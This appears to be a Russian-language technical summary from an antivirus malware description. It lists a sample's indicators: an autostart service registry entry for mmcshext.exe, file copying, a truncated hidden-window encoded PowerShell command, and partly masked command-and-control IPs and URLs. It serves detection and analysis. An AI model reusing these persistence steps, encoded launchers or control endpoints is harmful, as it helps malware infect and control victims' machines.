Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\mmcshext] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mmcshext] 'ImagePath' = '"%WINDIR%\SysWOW64\shlwapi\mmcshext.exe"'
- 'mmcshext' "%WINDIR%\SysWOW64\shlwapi\mmcshext.exe"
- 'mmcshext' %WINDIR%\SysWOW64\shlwapi\mmcshext.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABLAHkATwA4AHEARQAgAD0AIABbAHQAWQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAyAH0AewA0AH0AewAwAH0AIgAgAC0ARgAnAHIAeQAnACwAJwBzAFkAUwBUACcALAAnAEQASQBSACcALAAnAEUATQAuAEkATwAuACcALA...
- %HOMEPATH%\qja7l6t\dz0li3c\mwew2pan.exe
- %WINDIR%\syswow64\shlwapi\mmcshext.exe
- %HOMEPATH%\qja7l6t\dz0li3c\mwew2pan.exe в %WINDIR%\syswow64\shlwapi\mmcshext.exe
- '17#.#5.102.2':80
- '91.##1.200.35':8080
- http://io####bhosting.com/cgi-bin/8li/
- http://91.###.200.35:8080/kpQjYv114zUe/i1E7jv14UFjvqyH/BbKvGoVynM/KG5HN3/S0EB1/ via 91.##1.200.35
- DNS ASK io####bhosting.com
- '%HOMEPATH%\qja7l6t\dz0li3c\mwew2pan.exe'
- '%WINDIR%\syswow64\shlwapi\mmcshext.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABLAHkATwA4AHEARQAgAD0AIABbAHQAWQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAyAH0AewA0AH0AewAwAH0AIgAgAC0ARgAnAHIAeQAnACwAJwBzAFkAUwBUACcALAAnAEQASQBSACcALAAnAEUATQAuAEkATwAuACcALA...' (со скрытым окном)